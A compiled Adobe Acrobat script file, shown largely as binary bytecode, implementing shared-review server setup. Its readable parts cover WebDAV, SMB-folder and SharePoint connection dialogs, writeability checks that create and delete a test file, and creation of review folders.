�YB]\�:QA�
�:Q�Ґ��Ȑ��א�ѐ�䐈ѐ�ސ�Ȑ�ߐ��͈storenState
cVerifyURL
getCurrentURLapp	beginPrivcFileURLCollab	uriEncode)com.adobe.acrobat.webdav.writeability.txtendPrivoFileURLutilcrackURL
bFoundFileoDialogenablevrfyverifyNextState�����+�N#statetaskdata}W
`Z
�q	A5A57WQ=WQVx=y=yp=y�z�;�
�=�:WQ;	5
5�
�A5
�V�A�Y\�:Q;5WQ�;	5
5�
�A5
�A�Y\�:Q;5WQC;	5
5�
�A5
�A�Y\�:Q;5WQA�
�V�:Q�ѐɐ�c����m
��q�m
��q�mʘ�q��ڐ�ΐP����됈ΐP����됈ΐP����шaStatesnState	writeable
enumerable
removeableSOAPstreamFromStringTesting WriteablilityNetHTTPWebDAVPutFilecFileURLAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITEEnumerateCollection$IDS_SHARED_REVIEW_NETWORK_CHECK_READ
DeleteFile&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE	setStatus�����q�	ezZ
b[
�q;�
�:Q;�
�;5�:Q;�
�:QA�
�T5T5;5�:Q��ѐ�ܐ�ѐ��
�^app	beginPrivalertAnnotsString&IDS_SHARED_REVIEW_NETWORK_FAILED_ALERTendPrivonVerifyFailuretext(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN�������,�[
 ]
�qA5#?�
6QQA5A5��AA56QA�
�;5�:QA5�	
�YC]
\�:QA53A�
�A5�C�:QA5�
�=�:QA�
�:Q��Ր������͐�ؐ�ߐ���֐�ݐ���
͈nStateaStateslengthcVerifiedURL
cVerifyURL	setStatusAnnotsString"IDS_SHARED_REVIEW_NETWORK_VERIFIEDoDialogenablevrfy	bDoCommitcommitendfnshverifyNextState�����9�msgB]
�]
�qA�
�T�:QA5�
�YC]\�:QAB6Q��ѐ�ߐ�Ȉ	setStatusoDialogenablevrfy	bDoCommit�������
 resourcestateoURL�]
�_
�qA5A57WQV=E
QA5 p�;�
�T5�:WQAV5A55EQV5	A55	6Q�vWQ��ѐψ!����ݐ�ې�x��ʐ�{����aStatesnState
enumerable
bFoundFileutilcrackURLurlcHostoFileURLcPath����e-W�����+�resource�_
`
�qA5A�
�:QA�
�:Q��Ґ�
͈
bFoundFileonVerifySuccessonVerifyFailure������status-`
Q`
rA�
�:Qˆ"͈onVerifySuccess������statusn`
�`
rA�
�:Qˆ%͈onVerifySuccess�����*�		cReviewIDconfigencURL�h
Ji
[rT59��T�:=WQV�合�cSettingencodeURIComponent/�������i
�i
grˆ"������j
j
hrˆ ������resource1j
>j
irˆ(������resourcecj
pj
jrˆ.������code�j
�j
mrA5�
�:Q��҈cxt
handleSuccess������code�j
*k
rrA5�
�:Q��҈cxt
handleSuccess������eCk
rk
wrA5�
�T�:Q��ֈcxt
handleFailure�������,cxttaskDatacURL�k
Vm
�rTT6QT�
�;5�:QT55WQVT5WQV=WQ;�	
�:Q;
�
�V�:WQ;�
�:Q;
55�
�V�T�Y\�:Q��̐��ڐ�ѐ��p���p���ѐ�ؐ�ѐ���5cxt
setTaskStatusAnnotsString)IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORYdatacSettingreviewID/app	beginPrivCollab	uriEncodeendPrivNetHTTPWebDAVCreateCollection������cxttaskDatasm
�m
�rˆ)������cxttaskData�m
�m
�rˆ)�������,cxttaskDatacURLn
�o
�rTT6QT�
�;5�:QT55WQVT5WQV=WQ;�	
�:Q;
�
�V�:WQ;�
�:Q;
55�
�V�T�Y\�:Q��̐��ڐ�ѐ��p���p���ѐ�ؐ�ѐ���5cxt
setTaskStatusAnnotsString*IDS_SHARED_REVIEW_CREATE_REVIEW_ATTACHMENTdatacSettingreviewID
/attachments/app	beginPrivCollab	uriEncodeendPrivNetHTTPWebDAVCreateCollection������cxttaskData�o
p
�rT�
�;5�:Q��ڈ)
setTaskStatusAnnotsStringIDS_DONE������cxttaskData%p
7p
�rˆ)�����e�!reviewIDconfigi�p
�r
�rA5T6QTK"mMWQA55VTV78Q�L����NA5T6Q9��A5�:��r��Ϙ�r�5%ː�����ϐ�ֈ*oTaskSetdatareviewIDANTrustPropagateAll%�������r
8s
�r;5��ˈ/AnnotsStringIDS_SHARED_REVIEW_SMB_NAME������_s
�s
�r;5��ˈ7AnnotsString"IDS_SHARED_REVIEW_SMB_DEFAULT_NAME�������s
t
�r;5��ˈ5AnnotsString IDS_SHARED_REVIEW_SMB_ADD_SERVER������>t
�t
�r9��=;�:��ۈ>SharedString!IDS_SHARED_REVIEW_SMB_DESCRIPTIONWT������	cWorkflow�t
u
�rT=DQT=��وFSharedReviewFormDistribution�������/�
+tipStrresult?u
5�
�r;5=;5;5WQYY=]\]@]	@]
�]�]�]
�]�]�]�]�]�]�	]ZY=]ZY=]=]ZY=];5]C];5]\`Y=];5 ]\`Y=]=!]"=]ZY=#]=$]%=]\`Y=&];5']=]%\`\](\`Y=]=!]"=]ZY=&];5)]=]%\`Y=]C];5];5*]=+]%\`\](\`\�,
�9-�-�V�;5�:�:](\`\](\`\].\WQV��␐���А�����ʐ�ʘ�sʘ�sʘ�s&ʘ�s+ʘ�s8ʘ�s�ʘ�s�ʘ�s�ʘ�sޔ�ʐ���ʐʐ���ʐϐ�Ԑ��ʐԐ��ʐʐʐ���ʐʐϐ��ʐϐژ�t�ʐʐʐ���ʐϐϐ��ʐ�ϐϐ㘀t���t��appplatformWINAnnotsStringIDS_SHARED_REVIEW_SMB_TIPIDS_SHARED_REVIEW_SMB_TIP_MACcSettingoConfigoDialogcVerifiedURL
getSetting
initializecommitgetServerURLsetURL	setStatus	verifyURLbrwsvrfyidleviewtype
align_fill	alignmentstatic_text!IDS_SHARED_REVIEW_SMB_INSTRUCTIONname	wrap_nameCollabwizardWidthwidth IDS_SHARED_REVIEW_SMB_URL_PROMPT	align_rowalign_children	edit_textsurlitem_idbutton#IDS_SHARED_REVIEW_SMB_BROWSE_BUTTONelements!IDS_SHARED_REVIEW_VALIDATE_BUTTONIDS_SHARED_REVIEW_SMB_STATUSstatconcatANCreateTipElementsdescription������]v
xv
�rA5ˆ�oConfig������� dialognext�v
4x
�rAT6QA55nA�
�T�A555�:QT�
�YA555]\�:QAA5556QA�	
�;
5�:Q��ʐ�i���	␈	됈	ܐ����	؈FoDialogdataoSavedSMBStatesetURLcURLloadcStatusstatcVerifiedURL	setStatusAnnotsString(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN�������3dialognextverifiedurlMx
{
sT{CWQA�
�:WQVA5A�
�V�:WQVA5A56Q9��;5�:QvA5Y\6	QA55	T�
�:56
QA55	A56QA55	T�
�:56
Q�v���А����
Ԑ���
א��
ߐ����	Ґ�	䐈	א�	�:getServerURLcVerifiedURL	verifyURLoConfigcSetting
DebugThrowAnnotsString!IDS_SHARED_REVIEW_NETWORK_INVALIDdataoSavedSMBStatecURLstoresurlcStatusstat�����r�	urldlgData8{
y|
sVQA5�
�:WQ9��V5�:WQV�>EQV�
���:=V=WQV���Ր�ې�����͐���oDialogstoreANPlatformPathToURLsurllengthsubstr/�����.�dialogurl�|
�|
&sT�
�Y9��T�:]\�:Q���7loadANSMBURLToPlatformPathsurl�����]�status	statusStr}
�}
+s	;5WQA5�
�YV�
��T�:]\�:QA5�
�=�:Q�ΐ����؈AnnotsStringIDS_SHARED_REVIEW_SMB_STATUSoDialogloadreplacestatresize	{cStatus}��������<smbURLverifyResulterrorString	folderURIdatafileURIdeleteResult
enumeratorK
Ӊ
8s
VQVQVQ;�
�:QTWQVEQV�>�A�
�;5�:Q9��=T�:QV=WQ;	�

�V�:WQV ;5WQVx;�
�=�:WQV=WQVQ;	�
�V�V�:WQV (;5�
��V�:WQV�A�
�;5�:Q;	�
�V�:WQm�V�
�:WQVS;	�
�V�:WQV 2;5�
��V�:WQBWQ
V����VN;	�
�V�:WQV -;5�
��V�:WQBWQBWQ;5WQV A;	�
�T�:6Q;�
�:QA�
�V;5V�:QV��s?�����ѐ�����ꕐ��ؐ�ِ��p��ؐ��
���Θ�sT��ڐ͐��ܐ����㘀sa���ؐؐ(l)n����se��Ґ��	ؐ�
���
㐈
�@���Ș�st���ؐ����㐈ʘ�s�����ΐ����ې�ѐ��ܐ��app	beginPrivlength	setStatusAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE
DebugAlert	smbURL : com.adobe.acrobatCollaburiCreateFolder'IDS_SHARED_REVIEW_SMB_FOLDER_CREATE_ERRSOAPstreamFromStringTesting Writeablility
/testfile.txt
uriPutData$IDS_SHARED_REVIEW_SMB_FILE_WRITE_ERRreplace&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETEuriEnumerateFilesuriNextFile
uriDeleteFile#IDS_SHARED_REVIEW_SMB_ENUM_FILE_ERRuriDeleteFolder'IDS_SHARED_REVIEW_SMB_DELETE_FOLDER_ERR!IDS_SHARED_REVIEW_NETWORK_INVALIDcVerifiedURLuriNormalizeendPriv"IDS_SHARED_REVIEW_NETWORK_VERIFIED%url%%url%%url%]s�������e)dialog	folderURIerrMsg�
�
�s	�;�
�:Q;�
�:WQ9��=V�:Q;�
�:QVEQV�>eV�
�V�?�:=	V=	WQA�

�V�:A�
�T�A5�:Q��vWQV5
=�VQ9��V5�:F?,;5WQ+;5WQ;5WQ;�
�:Q;�
�V�:Q;�
�:Q9��=�:Q�����ѐԐ�ِ�ѐ����:�p����ؐ�z��s�ʐ������XRِ���	ΐP���	ΐP���	ΐP����ѐ�Ր�ѐ�Հ{���app	beginPrivCollabbrowseForNetworkFolder
DebugAlertfolderURI : endPrivlengthcharAt/	verifyURLsetURLcVerifiedURLmessageVolume Mount ExceptionNumber	errorCodeAnnotsString#IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR$IDS_SHARED_REVIEW_VOLUME_MOUNT_ERRORIDS_SHARED_REVIEW_VOLUME_ERRORalert
DebugThrow
VolMountError����e������>�dialogurl�
��
�sA�
�:WQA�
�V�:A�
�T�A5�:Q�А����؈'getServerURL	verifyURLsetURLcVerifiedURL�������pdialogurlokpos	searchPos�
Z�
�s	T�
�:5WQBWQV��EQV�
�>���:=��WQVQVWQ4mV�
�V�:=
$V#?WQQ�VV�����VVEQVV�jV#?WQQVWQ4mV�
�V�:=
$V#?WQQ�VV�����VVWQV EQ;5=	PV��E<QV�
�>���:=
EQV�
���:=WQT�
�YV]
\�:Q�א����������&4(B���E��sʈ6̘�s˘�sʈӐ������̐�&4(B���E��sЈ7̘�sј�sЈӘ�sԈ˘�s؈����̐�ވstoresurllengthsubstrsmb://charAt/appplatformWIN\\\enablenext�BaB�����*�
	cReviewIDconfigencURL`�
ݚ
"tT59��T�:=WQV��合�cSettingencodeURIComponent/������}�
��
/tˆ"��������
��
0tˆ ������resourceě
ћ
1tˆ(������resource��
�
2tˆ.������code@�
q�
5tA5�
�:Q��҈cxt
handleSuccess������code��
��
:tA5�
�:Q��҈cxt
handleSuccess�����U�e֜
t�
?t;�
�:Q;�
�;5�:Q;�
�:QA5�
�T�:Q��ѐ�ܐ�ѐ�ֈapp	beginPrivalertAnnotsString&IDS_SHARED_REVIEW_NETWORK_FAILED_ALERTendPrivcxt
handleFailure�����C�5"cxttaskDatamsgcURLcreateResult͝
��
KtTT6Q;5T5555WQT�
�V�:QT55WQVV�
���:=	=	
=
9��T5�:=	WQ;
�
�:Q;�
�9��V�:�:WQ;
�
�:QVT�
�:Q;;5�
��V�:WQT�
�V�:Q��̐�搐�Ӑ�ѐ��
�p��ѐ�琈ѐ��Ԑ��㐈ӈcxtAnnotsString)IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORYdataserverSettingscSetting
setTaskStatussubstr/encodeURIComponentreviewIDapp	beginPrivCollaburiCreateFolderendPriv
handleSuccess IDS_SHARED_REVIEW_SMB_CREATE_ERRreplace
handleFailure%url%������cxttaskDataؠ
�
btˆ)������cxttaskData�
�
ctˆ)�����+�7cxttaskDatacURLcreateResultmsgi�
>�
gtTT6QT�
�;5�:QT55WQVV�
���:==
=9	�	�T5
�:WQV=WQ;�
�:Q;�
�9	�	�V�:�:WQ;�
�:QVT�
�:Q;;5�
��V�:WQT�
�V�:Q��̐��ڐ�ѐ��
�p���p��ѐ�琈ѐ��Ԑ��㐈ӈcxt
setTaskStatusAnnotsString*IDS_SHARED_REVIEW_CREATE_REVIEW_ATTACHMENTdatacSettingsubstr/encodeURIComponentreviewID
/attachments/app	beginPrivCollaburiCreateFolderendPriv
handleSuccess'IDS_SHARED_REVIEW_SMB_CREATE_ATTACH_ERRreplace
handleFailure%url%������cxttaskData[�
��
}tT�
�;5�:Q��ڈ)
setTaskStatusAnnotsStringIDS_DONE������cxttaskDataȤ
ڤ
�tˆ)�����e�reviewIDconfigi&�
Ѧ
�tA5T6QTK"mMWQA55VTV78Q�L����NA5T6Q9��A5�:���Ϙ�t�5%ː�����ϐ�ֈ*oTaskSetdatareviewIDANTrustPropagateAll%������#�
l�
�t;5��ˈ6AnnotsString!IDS_SHARED_REVIEW_SHAREPOINT_NAME��������
�
�t;5��ˈ>AnnotsString)IDS_SHARED_REVIEW_SHAREPOINT_DEFAULT_NAME������	�
Y�
�t;5��ˈ<AnnotsString'IDS_SHARED_REVIEW_SHAREPOINT_ADD_SERVER��������
Ѩ
�t;5��ˈ=AnnotsString(IDS_SHARED_REVIEW_SHAREPOINT_DESCRIPTION������	cWorkflow��
U�
�tT=DQT=��وFSharedReviewFormDistribution�����%�T@9result��
��
�tA5=n=oQYY=]C]\]@]@]	@]
@]@]@]
@]B]�]�]�]�]�]�]�]Z=`=`=`\]>]@]B]Y\]�]�] �	]!�
]"�]#�]$�
]%�]&�]'�](�])�]*�]+�],�]-�].�]/ZY=0]1=2]3ZY=4]1;556]7C]8;95:];\`Y=4]1;55<]7;95:];\`Y=0]1==]>=2]3ZY=?]1=@]AX];\`Y=B]1;55C]7=D]3=']A\`\]E\`Y=4]19F�F�;G;�:]7C]8;95:];\`Y=0]1==]>=2]3ZY=0]1ZY=4]1;55H]7=I]JC]K\`Y=L]1=%]A�d]MX�];\`\]E\`Y=0]1ZY=4]1;55N]7=I]JC]K\`Y=L]1=$]A�d]MX�];\`\]E\`\]E\`Y=4]1;55O]7\`Y=4]1;95:];=P]A\`Y=0]1==]>=2]3ZY=B]1;55Q]7=!]A\`Y=4]1=2]3=R]A\`\]E\`\]E\`\]S\WQV����А����ʐ̐�����������ʐ�ʘ�t�ʘ�t�ʘ�t�ʘ�t�ʘ�u	ʘ�u 吖��ː�ʘ�u=ʘ�uOʘ�ubʘ�usʘ�uxʘ�u�ʘ�vʘ�vʘ�v<ʘ�vWʘ�v`ʘ�vqʘ�vwʘ�v�ʘ�v�ʐʐ����ʐʐ���ʐϐ�Ԑ��ʐϐԐ��ʐʐʐ���ʐʐ͐��ʐϐʐژ�v��ʐߐ�Ԑ��ʐʐʐ���ʐ���ʐϐʐː��ʐʐ�ؘ�vΕʐ���ʐϐʐː��ʐʐ�㘀v�ʐԐ��ʐϐϐ��ʐʐʐ���ʐϐϐ��ʐʐ�w��
reviewTypeFormDistributionWT_FDcSetting#bUseWindowsIntegratedAuthenticationoConfigoDialogsites
workspacesworkspaceURLlocation
cVerifyURLcVerifiedURL	bDoCommit
getSetting
initialize	setStatussetLocationsetURLcommitidle	writeable
enumerable
removeableaStatesnStatecFileURL
bFoundFile
workspaceURLSgetServerURL	encodeURLvrfyloadWorkspacesloadDocumentLibrariesdoclwkspgetSoapValuescanverifyNextStateonErroronVerifySuccessonVerifyFailureonEnumerateFileonEnumerateEnd	onPutFileonDeleteFileviewtype
align_fill	alignmentstatic_textAnnotsString(IDS_SHARED_REVIEW_SHAREPOINT_INSTRUCTIONname	wrap_nameCollabwizardWidthwidth&IDS_SHARED_REVIEW_SHAREPOINT_ENTER_URL	align_rowalign_children	edit_textsurlitem_idbutton+IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACESalign_bottomelementsSharedString%IDS_SHARED_REVIEW_SHAREPOINT_URL_HELP'IDS_SHARED_REVIEW_SHAREPOINT_WORKSPACESdialogfontboldlist_boxheight$IDS_SHARED_REVIEW_SHAREPOINT_DOCLIBS%IDS_SHARED_REVIEW_SHAREPOINT_LOCATIONlocn!IDS_SHARED_REVIEW_VALIDATE_BUTTONtaskdescription��������
��
�tA5ˆ�oConfig�������3dialognextë
*�
�tAT6QA55�A�
�T�A555�:QT�
�YA555]\�:QAA5556QA�	
�A555
�:Q0A�
�;5
�:QA�	
�=�:QA�
�T�@�:QT�
�=�:Q��ʐ������	␈	됈	א�	㐐���	ؐ�	Ӑ��Ӑ�ՈoDialogdataoSavedSharePointStatesetURLcURLloadcStatustaskcVerifiedURLsetLocation	cLocation	setStatusAnnotsString(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWNloadWorkspacesfocussurl�����t�
ttaskF�
<�
�t;5WQA5�
�YV�
��T
T;5�:]\�:QA5�
�=�:Q�ΐ��搈؈AnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEoDialogloadreplace(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWNtaskresize	{cStatus}�����/�locZ�
��
�tAT6QA5�
�YA5]\�:Q��ʐ��-locationoDialogloadlocn������dialogurlد
�
�tT�
�YT]\�:Q��ވloadsurl�������7dialognexturl0�
�
�tTfA�
�:WQVA53AC6QA�
�T�:Q9��=�:QA5V6Q�A5Y\6	QA55	T�
�:56
QA55	T�
�:56
QA55	A56QA55	T�
�:56Q�a��А����Ȑ�ѐ�Ր���Ԑ����	Ґ�	䐈	䐈	א�	�AgetServerURLcVerifiedURL	bDoCommitvrfy
DebugThrowURL requires verificationoConfigcSettingdataoSavedSharePointStatecURLstoresurl	cLocationlocncStatustask�������,dialogurltoEnablelistBoxi�
0�
	u	T�
�:5WQYB]B]B]\WQV�
��:@dT�
�:5WQVK0mMWQVV7>VVC66Q
�L����NVC6QT�
�V�:Q�אܐ����א53ː�����Ґ@Θ�u�ʐ���ӈstoresurlnextvrfyscanmatchdoclenable^http[s]?\:\/\/.+o3�������#urldlgDataߵ
O�
&uVQA5EQA5�>A5WQ&A5�
�:WQV5WQV�>EQV�
���:=V=WQV������	ϐ��Ր�	̘�u3���͐��locationlengthoDialogstoresurlsubstr/�������!urlbEnsureTrailingSlash
crackedURL	pathIndex߸
�
=u	T�>�;�
�T�:WQT�
�V5�:WQV>gT�
�>�V�:9��V5�:UQTEQT�
���:=T=UQT����ؐې
��������p��uK��lengthutilcrackURLlastIndexOfcPathsubstrescape/�������+dialog	serverURLL�
�
OuA>6QA�
�:WQV�>[AV6QAA5=6QAB6QA5�
�YB]	\�:QA�

�:QA�
�;5
�:Q��ȐА��V���ʐ�Ӑ�Ȑ�ߐ��Ґ���؈?nStategetServerURLlength
cVerifyURLcFileURL)com.adobe.acrobat.sharepoint.writeability
bFoundFileoDialogenablevrfyverifyNextState	setStatusAnnotsString!IDS_SHARED_REVIEW_NETWORK_INVALID�������Cdialogit�
|�
buA5�AY\6Q>WQ4mA5A5V755V?"8QV#?WQQ�VA5�����T�
�YA5]\�:QT�
�YY\]\�:Q����͐�$4(E��ul�
��uh��ul�
ڈ9Ș�ug�-̘�ul��ug�֘�un�	ᐈ	�sites
workspacessoapAttributesTitlelengthloadwkspdocl"E������dialogdocLibs��
�
suT�
�YT]\�:Q��ވloaddocl�����\�dialoglistBoxi�
��
xu	T�
�:5WQVK6mMWQVV7>"A�
�A5V7�:Q
�L����N�א59ː������ؐ@ΈstoredoclsetLocation
workspaceURLS!9�����%�F fdialoglistBoxinsurlrequestresponsedocLibsresultvlistslibNum
defaultLibj	listPropsoURLportStrcBaseURLcPathmsg�
��
�uA@6QT�
�:5WQVK�mMWQVV7>�T�
�Y;5]\�:Q=WQAA5VV7?75	5
6Q9��A5�C�:WQYV=]
YY\]\]V=]B]V]YC]\]=]\WQ�;�
�V�:WQY\WQAY\6QA�
�V>75�=�:WQV�A�
�V�=�:WQY\WQ?W	Q=W
Q>WQmVV75	WQV5= EQV5!="�VV5#�8QV	?V5#W
Q;$�%
�V�:W
Q=WQV
5&='EQV
5(�P=)V
5(WQV
5&=*EQV
5(X�=)V
5(WQ=WQV
5+;,5V
5&=-=.V
5/=0VWQ$V
5&=-V
5/VWQV51WQV�2
��:3V�3
�>�V�4
�=5�:�:WQ.V�3
�>�V�4
�=6�:�:WQA5V5#VV8QV	#?W	QQV#?WQQ�VV�7����A�8
�T�V�:QV
�7>"A�9
�A5V
7�:QA�9
�V�:Q&T�
�YA5:]\�:Q��vWQV5;�;<WQV5;FC��0;5=WQ;5>WQVM;?�@
�:Q;?�A
�YV]B>]C\�:Q;?�D
�:QT�
�YZ\]E\�:Q�
�L���N��Ȑא5��ː�����
吐ɐ�ᐐې���ΐ��ѐ�ΐ�ȐѐϘ�u���ؐʐ�͐������ڐʐ�ɐ�)$�������(��u��А�����,ϐ
�=̐��ؐ�ɐ��:Ґ��<Ґ�ɐ�0���𐐐��ߐ��̐�.��鐐�א�,̘�u��I̘�uј�u��5Ә�uԈ$Ր��?ݐ�֐�����x���ʐ����ɐ�XCݐ����
ΐP���
ΐP�����
ѐ�
搈
ј�u���{��@ΈworkspaceURLstorewksploadAnnotsString,IDS_SHARED_REVIEW_SHAREPOINT_LOADING_DOCLIBSlocn-http://schemas.microsoft.com/sharepoint/soap/sitessoapAttributesUrlCBEncodeURL_vti_bin/Lists.asmxcURLGetListCollectionoRequestcActionbEncoded
cNamespaceUsePlatformAuth
oAuthenticateMessagecResponseStyleSOAPrequest
workspaceURLSgetSoapValue	soapValueGetListCollectionResultListsBaseType1HiddenFalseTitleutilcrackURLcSchemehttpnPort:httpsnURLTypeIPV6Type://[cHost]DefaultViewUrlmatchsubstrlastIndexOf/Forms//lengthloadDocumentLibrariessetLocationlocation
statusCode	undefined1IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICTIDS_SERVICE_MISSINGapp	beginPrivalertcMsgnIconendPrivdocl����e	\/Forms\/)�
%��������?
soapValuesnameivalueindex��
��
v>WQ�mTV7WQV5EQV5SV5�
�T�:WQV>E QT�V5�VV5V#?WQQ�VT����q;��
$��z�������v�ː����ې���ɘ�v�1̘�v
��v�Ә�v
��soapName	soapValuelastIndexOflength	undefined
��������Q(dialogresultnsurlrequestresponse��
��
vZ\WQ=WQ�9��T�
�:5�C�:WQV�>E%QV�
�V�?�:=V=WQYV=]YY\]	\]
V=	]B]V]
YC]\]=]\WQ;�
�V�:WQAV>75>75>756QA�
�T�:Qn�vWQ;�
�:Q;�
�;5�:Q;�
�:QA�
�;5�:Q��ɐɐ��������p�����ΐ��ѐ�ΐ�ȐѐϘ�v,ؐ�ߐ��x��ʐ��ѐ�ܐ�ѐ�؀{��v9�-http://schemas.microsoft.com/sharepoint/soap/CBEncodeURLstoresurllengthcharAt/_vti_bin/Webs.asmxcURLGetWebCollectionoRequestcActionbEncoded
cNamespaceUsePlatformAuth
oAuthenticateMessagecResponseStyleSOAPrequestsites	soapValueloadWorkspacesapp	beginPrivalertAnnotsString&IDS_SHARED_REVIEW_NETWORK_FAILED_ALERTendPriv	setStatus!IDS_SHARED_REVIEW_NETWORK_INVALID����e�����=�N#statetaskdata��
��
<v
A5A57WQ=WQVx=y=yv=y�z�;�
�=�:WQ;	5
5�
�A5
�V�A�YC]\�:Q;5WQ�;	5
5�
�A5�A�YC]\�:Q;5WQI;	5
5�
�A5
�A�YC]\�:Q;5WQA�
�V�:Q�ѐɐ�c���m
��vIm
��vNmʘ�vC�ڐ����ΐP�����ΐP�����ΐP����шaStatesnState	writeable
enumerable
removeableSOAPstreamFromStringTesting WriteablilityNetHTTPWebDAVPutFilecFileURLUsePlatformAuthAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITEEnumerateCollection
cVerifyURL$IDS_SHARED_REVIEW_NETWORK_CHECK_READ
DeleteFile&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE	setStatus�����U�e��
��
Wv;�
�:Q;�
�;5�:Q;�
�:QA�
�T5�:Q��ѐ�ܐ�ѐ��ֈapp	beginPrivalertAnnotsString1IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICTendPrivonVerifyFailuretext�������,��
p�
`vA5#?�
6QQA5A5��AA56QA�
�;5�:QA5�	
�YC]
\�:QA53A�
�A5�C�:QA5�
�=�:QA�
�:Q��Ր������͐�ؐ�ߐ���
֐�ݐ���
͈nStateaStateslengthcVerifiedURL
cVerifyURL	setStatusAnnotsString"IDS_SHARED_REVIEW_NETWORK_VERIFIEDoDialogenablevrfy	bDoCommitcommitendfnshverifyNextState�����1�msg��
��
qvA�
�T�:QA5�
�YC]\�:Q��ѐ�߈$	setStatusoDialogenablevrfy�������
resourcestate	oCheckURL	oMatchURL
�
H�
wvA5A57WQV=E
QA5 d;�
�T5�:WQ;�
�9��A5�:�:WQAV5	V5	6Q�ѐψ!��ݐꐈ؈7aStatesnState
enumerable
bFoundFileutilcrackURLurlunescapecFileURLcPath�����+�resourcei�
��
�vA5A�
�:QA�
�:Q��Ґ�
͈
bFoundFileonVerifySuccessonVerifyFailure������status��
�
�vA�
�:Qˆ"͈onVerifySuccess������status3�
W�
�vA�
�:Qˆ%͈onVerifySuccess�����*�
	cReviewIDconfigencURL��
w�
wT59��T�:=WQV��合�cSettingencodeURIComponent/������C�
G�
wˆ"������g�
k�
wˆ ������resource��
��
wˆ(������resource��
��
wˆ.������code�
7�
wA5�
�:Q��҈cxt
handleSuccess������codeR�
��
wA5�
�:Q��҈cxt
handleSuccess������e��
��
#wA5�
�T�:Q��ֈcxt
handleFailure�������,cxttaskDatacURLN�
�
-wTT6QT�
�;5T5555�:QT55WQVT5WQV=	WQ;
�
�:Q;�
�V�:WQ;
�
�:Q;55�
�V�T�YC]\�:Q��̐���ѐ��p���p���ѐ�ؐ�ѐ���Lcxt
setTaskStatusAnnotsString)IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORYdataserverSettingscSettingreviewID/app	beginPrivCollab	uriEncodeendPrivNetHTTPWebDAVCreateCollectionUsePlatformAuth������cxttaskData1�
C�
>wˆ)������cxttaskData^�
p�
?wˆ)�������,cxttaskDatacURL��
p�
CwTT6QT�
�;5�:QT55WQVT5WQV=WQ;�	
�:Q;
�
�V�:WQ;�
�:Q;
55�
�V�T�YC]\�:Q��̐��ڐ�ѐ��p���p���ѐ�ؐ�ѐ���Lcxt
setTaskStatusAnnotsString*IDS_SHARED_REVIEW_CREATE_REVIEW_ATTACHMENTdatacSettingreviewID
/attachments/app	beginPrivCollab	uriEncodeendPrivNetHTTPWebDAVCreateCollectionUsePlatformAuth������cxttaskData��
�
TwT�
�;5�:Q��ڈ)
setTaskStatusAnnotsStringIDS_DONE������cxttaskData��
�
Ywˆ)�����a�#reviewIDconfigresultY�
�
`wBWQ�A5T6QA5T6Q;5�
�A5�:WQ�vWQ�V�������ϐ�ϐ���x��ʐ�{��wr��oTaskSetdatareviewIDNetHTTP
runTaskSet����eC�����e�reviewIDconfigi�
��
uwA5T6QTK"mMWQA55VTV78Q�L����NA5T6Q9��A5�:���Ϙ�w|5%ː�����ϐ�ֈ*oTaskSetdatareviewIDANTrustPropagateAll%����CBFreezeFunc��"	funcsubsts
funcSourceivaluevalSrc���wT�
�:WQTKlmMWQTV7WQVQV'=V�
�:WQV�
�;�=V=�R�V�:WQ�L����NV�Ґ�5oː�ː������Ґ�������toSource	undefinedreplaceRegExp"\{\}"o�������0xdocrequiredReviewersoptionalReviewersbIsValiddataidriverlogEventParamsstartPayloadParamsaddStringToPayloadParams�(
�wTEQ;�
�T�:X;�
�:Q;�
�Y;5]T]\�:Q;�	
�:Q>TEQ;�

�T�:X;�
�:Q;�
�Y;5]T]\�:Q;�	
�:Q>9��:WQY\WQVZ\6
QT V9��T�:6QT V9��T�:6QTEQT5"VT56QVT6QV;�
�:6Q;�
�:QVZ\6QVY\6QV;5=6Q;5K�mMWQ;5V7WQV�
�=�:YV�
�: 9V5V5�V8QV5V5V8QVV6 Q�L���xN;�	
�:QY\WQY\WQY\WQV=6!QV=#6"QV=#6$Q;�
�:Q;�%
�V�:Q;�	
�:Q9&�&�V�>�:Q;�
�:Q;�'
�:Q;�	
�:QV5(=)9*�*�V�>�:Q;�
�:Q;�+
�:Q;�	
�:QV5(=,DQV5(=)EQV5
�>�V5
K�mMWQV5
V7UQ;�
�:QV5(=,DQTV5'T�-
�YC].C]/\�:Q;�	
�:Q�L���~N�����	ѐ�		ѐ�	�������ѐ�ѐ����Ґ�ʐ�ΐ����ې����ې������ѐ�̐���ِ��ѐ�ΐ�Ϙ�w�ِ��0��ː�Ґ�����4���ڐ�ژ�w�՘�w��ј�w�ʐʐʐ�ΐ�ΐ�ΐ�ѐ�Ր�ѐ��Ր�ѐ�ѐ�ѐ�����Ր��ѐ�ѐ�ѐ�����0��ː�А�ѐ���␈ڈCollab
isDocDirtyapp	beginPrivalertAnnotsStringIDS_SEND_FOR_REVIEW_DOC_DIRTYcMsgoDocendPrivisInvalidSaveLocationIDS_SEND_FOR_REVIEW_SAVE_OTHERANValidateIdentitydocsOpenedByWizardreqR
SplitAddrsoptRpathdocPathdocreviewIDcreateUniqueDocIDserversdriversreaderEnable
viewerTypeExchangecanInitiateWorkflowSharedReviewisDocCenterWorkflowlength	driverURLdcDrivercatsubcatSharedReviewPayloadevntAVUMStartPayloadWrapperCBRunSharedReviewWizardremoveDocsOpenedByWizardresultfnshCBSharedReviewCompleteAVUMEndPayloadWrappercnclcloseDocbNoSaversvd1
���������
�v?�reviewIDactiondatastep
